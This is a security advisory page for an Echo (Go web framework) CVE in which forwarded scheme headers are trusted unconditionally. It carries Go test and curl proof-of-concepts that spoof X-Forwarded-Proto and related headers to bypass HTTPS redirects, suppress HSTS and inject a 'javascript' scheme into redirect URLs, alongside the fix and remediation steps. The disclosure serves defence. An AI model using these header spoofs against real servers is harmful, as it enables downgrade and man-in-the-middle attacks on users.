CVE-2026-118657: Echo: HTTPS Redirect and HSTS Bypass via Unconditional Trust of Forwarded Scheme Headers in github.com/labstack/echo

Published Oct 28, 2026
·
Updated

Description

Context.Scheme() unconditionally trusts four client-controlled HTTP headers to determine the request scheme, with no mechanism to configure trusted sources. This allows a remote unauthenticated attacker to bypass HTTPS redirect enforcement and suppress HSTS headers.

The trusted headers (checked in this order of precedence): 1. X-Forwarded-Proto 2. X-Forwarded-Protocol 3. X-Forwarded-Ssl 4. X-Url-Scheme

Threat model

Scenario A — Directly exposed application (vulnerable by default): The Echo application listens on HTTP and is reachable directly by clients (no L7 proxy in front), or an attacker can bypass the proxy and reach the backend directly. In this case, the attacker has full control over all request headers. Sending X-Forwarded-Proto: https defeats the HTTPSRedirect middleware entirely — traffic stays on plaintext HTTP, enabling man-in-the-middle attacks.

This is the primary scenario. The application is vulnerable by default with no misconfiguration required — simply using e.Pre(middleware.HTTPSRedirect()) as documented is sufficient.

Scenario B — Behind L7 proxy with header sanitization (reduced risk): If the application is strictly behind a correctly configured L7 proxy that always overwrites X-Forwarded-Proto and there is no direct access to the backend, the practical risk is lower. However, this relies on perimeter controls external to the framework, not on the framework itself. As Echo's own IP-extraction documentation states: "you must not trust HTTP headers unconditionally."

Root cause

context.go, lines 161–181:

go func (c Context) Scheme() string { if c.IsTLS() { return "https" } if scheme := c.request.Header.Get(HeaderXForwardedProto); scheme != "" { return scheme } if scheme := c.request.Header.Get(HeaderXForwardedProtocol); scheme != "" { return scheme } if ssl := c.request.Header.Get(HeaderXForwardedSsl); ssl == "on" { return "https" } if scheme := c.request.Header.Get(HeaderXUrlScheme); scheme != "" { return scheme } return "http" }

Two additional issues with this implementation:

1. No value validation. Scheme() returns any arbitrary string from the header, not just "http" or "https". This breaks the documented contract ("returns the HTTP protocol scheme, http or https") and causes unexpected behavior in middleware that uses the return value to construct URLs (e.g., WWWRedirect builds scheme + "://www." + host + uri).

2. Consumed by security-critical middleware. The return value is used directly by redirect middleware (middleware/redirect.go:136) and secure middleware (middleware/secure.go:125) for security enforcement decisions.

Affected components

| Component | File | Line(s) | Impact | |-----------|------|---------|--------| | Context.Scheme() | context.go | 161–181 | Returns attacker-controlled scheme | | HTTPSRedirect | middleware/redirect.go | 147–151 | HTTPS enforcement bypassed | | HTTPSWWWRedirect | middleware/redirect.go | 154–161 | HTTPS enforcement bypassed | | HTTPSNonWWWRedirect | middleware/redirect.go | 163–170 | HTTPS enforcement bypassed | | WWWRedirect | middleware/redirect.go | 172–177 | URL constructed with arbitrary scheme | | NonWWWRedirect | middleware/redirect.go | 179–184 | URL constructed with arbitrary scheme | | Secure middleware (HSTS) | middleware/secure.go | 125 | HSTS header suppressed |

This is an unsafe-by-default API surface, not just misconfiguration

This behavior is not accidental — it is codified in the project's own test suite. For example, middleware/redirecttest.go (lines 29–34) explicitly asserts that X-Forwarded-Proto: https on an HTTP request results in 200 OK (no redirect):

go { whenHost: "labstack.com", whenHeader: map[string][]string{echo.HeaderXForwardedProto: {"https"}}, expectLocation: "", expectStatusCode: http.StatusOK, },

Similarly, middleware/securetest.go (lines 42–53) and contexttest.go (lines 1104–1111) assert that scheme is derived from the header.

The problem is not that the framework can use forwarded headers — that is legitimate behind a trusted proxy. The problem is that there is no mechanism to control whether this trust is appropriate, unlike the existing IP header trust model. Scheme() always trusts the headers, making any middleware that depends on it unsafe-by-default.

Inconsistency with existing trust model

Echo already recognizes this class of header-trust vulnerability for IP addresses. The IPExtractor mechanism with TrustOption (TrustLoopback, TrustPrivateNet, TrustLinkLocal, TrustIPRange) was introduced specifically because:

"you must not trust HTTP headers unconditionally. Otherwise, you might give someone a chance of deceiving you. A security risk!" — ip.go, lines 20–21

"If you put no proxy (e.g., directly facing the internet), all you need to (and have to) see is IP address from network layer. Any HTTP header is untrustable because the clients have full control what headers to be set." — ip.go, lines 36–38

No equivalent mechanism exists for scheme detection. Scheme() unconditionally trusts all four forwarded headers with no configuration, opt-in, or documentation warning.

Note on proxies and the "3 additional headers"

A correctly configured nginx proxysetheader X-Forwarded-Proto $scheme; overwrites X-Forwarded-Proto with the actual incoming scheme. When a proxy does this, X-Forwarded-Proto is trustworthy and the three fallback headers (X-Forwarded-Protocol, X-Forwarded-Ssl, X-Url-Scheme) are never reached because X-Forwarded-Proto takes precedence in Scheme().

The three additional headers become real attack vectors specifically when: - The proxy does not set X-Forwarded-Proto at all (common in default proxy configs), or - The application is directly exposed (Scenario A above).

In such cases, an attacker can bypass via any of the four headers. The main vulnerability (HTTPS redirect bypass via X-Forwarded-Proto on a directly exposed app) does not depend on the additional headers.

Impact

HTTPS downgrade / MITM: An attacker who can reach the Echo HTTP endpoint directly can prevent HTTPS redirection, keeping client traffic on plaintext HTTP and enabling man-in-the-middle attacks.

HSTS suppression: Behind a TLS-terminating proxy, spoofing X-Forwarded-Proto: http prevents the Strict-Transport-Security header from being sent. When the response ultimately reaches the client over HTTPS (via the proxy), the missing HSTS header weakens browser-side HTTPS enforcement. Note: browsers ignore HSTS received over plain HTTP, so the practical risk is specifically in the suppression scenario behind a TLS-terminating proxy, not in injecting HSTS on HTTP.

URL construction with arbitrary scheme: WWWRedirect and NonWWWRedirect use c.Scheme() to build redirect URLs (scheme + "://www." + host + uri). An attacker can inject arbitrary strings (e.g., javascript:, data:) as the scheme component of redirect URLs.

Proof of Concept

Tested on Echo v5.0.4 (commit fa5311b, 2026-02-15).

PoC 1: HTTPS Redirect Bypass (Go test)

go package echotest

import ( "net/http" "net/http/httptest" "testing"

"github.com/labstack/echo/v5" "github.com/labstack/echo/v5/middleware" )

func TestHTTPSRedirectBypass(t testing.T) { e := echo.New() e.Pre(middleware.HTTPSRedirect()) e.GET("/", func(c echo.Context) error { return c.String(http.StatusOK, "served over: "+c.Scheme()) })

// Normal HTTP → should redirect req := httptest.NewRequest(http.MethodGet, "/", nil) rec := httptest.NewRecorder() e.ServeHTTP(rec, req) if rec.Code != http.StatusMovedPermanently { t.Fatalf("expected 301, got %d", rec.Code) } t.Logf("Normal HTTP → %d (redirect to %s)", rec.Code, rec.Header().Get("Location"))

// Attack: all 4 headers bypass the redirect headers := map[string]string{ "X-Forwarded-Proto": "https", "X-Forwarded-Protocol": "https", "X-Forwarded-Ssl": "on", "X-Url-Scheme": "https", } for name, value := range headers { req := httptest.NewRequest(http.MethodGet, "/", nil) req.Header.Set(name, value) rec := httptest.NewRecorder() e.ServeHTTP(rec, req) if rec.Code == http.StatusOK { t.Errorf("BYPASS via %s: %s → %d (no redirect!)", name, value, rec.Code) } } }

PoC 2: curl examples (easiest to reproduce)

Start a minimal Echo server:

go package main

import ( "net/http" "github.com/labstack/echo/v5" "github.com/labstack/echo/v5/middleware" )

func main() { e := echo.New() e.Pre(middleware.HTTPSRedirect()) e.GET("/", func(c echo.Context) error { return c.String(http.StatusOK, "Hello on "+c.Scheme()) }) e.Start(":8080") }

Then:

bash Normal HTTP → 301 redirect (expected) $ curl -I http://localhost:8080/ HTTP/1.1 301 Moved Permanently Location: https://localhost:8080/

Attack: bypass via X-Forwarded-Proto $ curl -H "X-Forwarded-Proto: https" http://localhost:8080/ Hello on https

Attack: bypass via X-Forwarded-Protocol $ curl -H "X-Forwarded-Protocol: https" http://localhost:8080/ Hello on https

Attack: bypass via X-Forwarded-Ssl $ curl -H "X-Forwarded-Ssl: on" http://localhost:8080/ Hello on https

Attack: bypass via X-Url-Scheme $ curl -H "X-Url-Scheme: https" http://localhost:8080/ Hello on https

PoC 3: Arbitrary scheme in redirect URL (WWWRedirect)

go func TestArbitrarySchemeInRedirect(t testing.T) { e := echo.New() e.Pre(middleware.WWWRedirect()) e.GET("/", func(c echo.Context) error { return c.String(http.StatusOK, "ok") })

req := httptest.NewRequest(http.MethodGet, "/", nil) req.Host = "example.com" req.Header.Set("X-Forwarded-Proto", "javascript") rec := httptest.NewRecorder() e.ServeHTTP(rec, req)

// Redirect Location uses the spoofed scheme loc := rec.Header().Get("Location") // loc == "javascript://www.example.com/" — violates http/https contract t.Logf("Status: %d, Location: %s", rec.Code, loc) }

PoC 4: HSTS Suppression

go func TestHSTSSuppression(t testing.T) { e := echo.New() e.Use(middleware.SecureWithConfig(middleware.SecureConfig{HSTSMaxAge: 31536000})) e.GET("/", func(c echo.Context) error { return c.String(http.StatusOK, "ok") })

// Legitimate: proxied HTTPS should have HSTS req := httptest.NewRequest(http.MethodGet, "/", nil) req.Header.Set("X-Forwarded-Proto", "https") rec := httptest.NewRecorder() e.ServeHTTP(rec, req) if h := rec.Header().Get("Strict-Transport-Security"); h == "" { t.Fatal("HSTS missing when it should be present") }

// Attack: suppress HSTS by spoofing "http" // In production: app behind TLS-terminating proxy, proxy delivers response // to client over HTTPS, but HSTS header is absent due to spoofed header req2 := httptest.NewRequest(http.MethodGet, "/", nil) req2.Header.Set("X-Forwarded-Proto", "http") rec2 := httptest.NewRecorder() e.ServeHTTP(rec2, req2) if h := rec2.Header().Get("Strict-Transport-Security"); h == "" { t.Error("VULNERABLE: HSTS suppressed via X-Forwarded-Proto: http") } }

Test output (all attacks succeed)

=== RUN TestHTTPSRedirectBypass Normal HTTP → 301 (redirect to https://example.com/) BYPASS via X-Forwarded-Proto: https → 200 (no redirect!) BYPASS via X-Forwarded-Protocol: https → 200 (no redirect!) BYPASS via X-Forwarded-Ssl: on → 200 (no redirect!) BYPASS via X-Url-Scheme: https → 200 (no redirect!)

=== RUN TestArbitrarySchemeInRedirect Status: 301, Location: javascript://www.example.com/

=== RUN TestHSTSSuppression VULNERABLE: HSTS suppressed via X-Forwarded-Proto: http

Precedent CVEs

- CVE-2018-1193 — Cloud Foundry GoRouter: unverified X-Forwarded-Proto header trusted for scheme, enabling HTTPS enforcement bypass. Fixed by adding sanitizeforwardedproto option. - CVE-2025-41235 — Spring Cloud Gateway: trusting forwarded headers without explicit proxy configuration, enabling HTTPS redirect bypass. Fixed by requiring trusted proxy configuration.

Suggested fix

Option A: SchemeExtractor (recommended, backward-compatible with opt-in)

Add a SchemeExtractor mechanism analogous to the existing IPExtractor, where the extractor decides whether to trust forwarded headers based on RemoteAddr or trusted proxy ranges:

go type SchemeExtractor func(req http.Request) string

// ExtractSchemeDirect ignores all forwarded headers (secure default) func ExtractSchemeDirect() SchemeExtractor { ... }

// ExtractSchemeFromXFFHeader trusts X-Forwarded-Proto from trusted sources func ExtractSchemeFromXFFHeader(options ...TrustOption) SchemeExtractor { ... }

Usage:

go // Secure: directly exposed, ignore headers e.SchemeExtractor = echo.ExtractSchemeDirect()

// Behind trusted proxy e.SchemeExtractor = echo.ExtractSchemeFromXFFHeader( echo.TrustIPRange(proxySubnet), )

The default should be secure. For backward compatibility, a migration period with deprecation warnings for the legacy behavior may be appropriate.

Option B: Minimal hardening (does NOT fix the bypass, but fixes the contract violation)

Scheme() should validate that the returned value is "http" or "https", rejecting arbitrary strings. This prevents the "arbitrary scheme in redirect URL" issue but does not address the core HTTPS redirect bypass (because "https" is a valid value that the attacker injects).

Both options should be applied together.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. Context.Scheme() now uses the X-Forwarded-Proto, X-Forwarded-Protocol, X-Forwarded-Ssl and X-Url-Scheme headers only when the request comes directly from a loopback, link-local or private network address or a unix socket. When X-Forwarded-Proto is present, only its last value is used. The new Echo#SchemeExtractor selects the strategy (ExtractSchemeFromHeaders, ExtractSchemeDirect, LegacySchemeExtractor). The Secure middleware sets HSTS from Context.Scheme(), and the Proxy middleware always sets X-Forwarded-Proto and removes the other scheme headers.

Workarounds

If a proxy or load balancer connects to your application from a public address, trust its address ranges after upgrading, for example e.SchemeExtractor = echo.ExtractSchemeFromHeaders(echo.TrustIPRange(proxyRange)); otherwise HTTPSRedirect redirects in a loop. If you cannot upgrade, make sure every request passes through a proxy that overwrites X-Forwarded-Proto and removes X-Forwarded-Protocol, X-Forwarded-Ssl and X-Url-Scheme, and that the application cannot be reached directly.

Other sources

Echo is a Go web framework. Prior to 4.16.0 and 5.4.0, Context.Scheme unconditionally trusts forwarded scheme headers from any client. A client that reaches Echo directly over plaintext HTTP can claim an HTTPS scheme and bypass HTTPSRedirect because the request is treated as already secure. Separately, behind a TLS-terminating proxy that passes an attacker-controlled header, a claimed HTTP scheme can suppress the Strict-Transport-Security header even though the browser receives the response over HTTPS. The practical risk is reduced when a trusted proxy overwrites the headers and direct backend access is prevented, but the framework previously had no trusted-source configuration for this decision. This issue is fixed in 4.16.0 and 5.4.0.

— NVD

Echo: HTTPS Redirect and HSTS Bypass via Unconditional Trust of Forwarded Scheme Headers in github.com/labstack/echo

— OSV

Affected Software

14 affected componentsFixes available
Labstack Echo<4.16.0, <5.4.0
go/github.com/labstack/echo/v4<4.16.0
4.16.0
go/github.com/labstack/echo/v5<5.4.0
5.4.0
debian/golang-github-labstack-echo<=4.2.1-3, <=4.12.0-1
debian/golang-github-labstack-echo*
debian/golang-github-labstack-echo*
debian/golang-github-labstack-echo*
ubuntu/golang-github-labstack-echo.v2*
ubuntu/golang-github-labstack-echo*
ubuntu/golang-github-labstack-echo.v2*
ubuntu/golang-github-labstack-echo*
ubuntu/golang-github-labstack-echo*
ubuntu/golang-github-labstack-echo*
IBM API Connect<=V10.0.8.0 - V10.0.8.13

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/labstack/echo/v4 to a version that resolves this vulnerability.

    Fixed in 4.16.0
  2. Upgrade

    Upgrade go/github.com/labstack/echo/v5 to a version that resolves this vulnerability.

    Fixed in 5.4.0
  3. Upgrade

    Upgrade github.com/labstack/echo/v4 to a version that resolves this vulnerability.

    Fixed in 4.16.0
  4. Upgrade

    Upgrade github.com/labstack/echo/v5 to a version that resolves this vulnerability.

    Fixed in 5.4.0
  5. Configuration

    Set e.SchemeExtractor to echo.ExtractSchemeDirect() when the application is directly exposed, so forwarded scheme headers are ignored.

    Echo SchemeExtractor = ExtractSchemeDirect()
  6. Configuration

    When behind a trusted proxy, configure e.SchemeExtractor with echo.ExtractSchemeFromXFFHeader(echo.TrustIPRange(proxySubnet)) so forwarded scheme headers are trusted only from the proxy range.

    Echo SchemeExtractor = ExtractSchemeFromXFFHeader(echo.TrustIPRange(proxySubnet))
  7. Compensating control

    If you cannot upgrade, ensure every request passes through a proxy that overwrites X-Forwarded-Proto with the actual incoming scheme, removes X-Forwarded-Protocol, X-Forwarded-Ssl, and X-Url-Scheme, and prevents direct access to the application backend.

Event History

Oct 28, 2026
CVE Published
via MITRE·08:14 PM
Data Sourced
via MITRE·08:14 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·09:04 PM
Data Sourced
via GitHub·09:04 PM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via OSV·09:04 PM
Affected Software
Data Sourced
via NVD·09:16 PM
DescriptionSeverityWeakness
Nov 3, 2026
Exploit Published
via CISA·01:31 PM
Nov 18, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

Which deployments are realistically exposed to the redirect bypass?

Deployments are exposed when clients can reach the Echo application directly over plaintext HTTP. Such a client can claim an HTTPS scheme in forwarded headers, causing HTTPSRedirect to treat the request as already secure.

2

When can HSTS be suppressed despite the browser using HTTPS?

This can occur behind a TLS-terminating proxy if the proxy passes through an attacker-controlled forwarded scheme header. A client can claim an HTTP scheme, causing Echo to omit the Strict-Transport-Security header even though the response is delivered over HTTPS.

3

What mitigations are available if upgrading is not immediately possible?

Prevent direct access to the Echo backend and configure the trusted proxy to overwrite forwarded scheme headers rather than passing client-supplied values. These controls reduce the practical risk described for both behaviors.

4

Which releases contain the fix?

The issue is fixed in Echo 4.16.0 and 5.4.0. Versions prior to those releases are affected.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203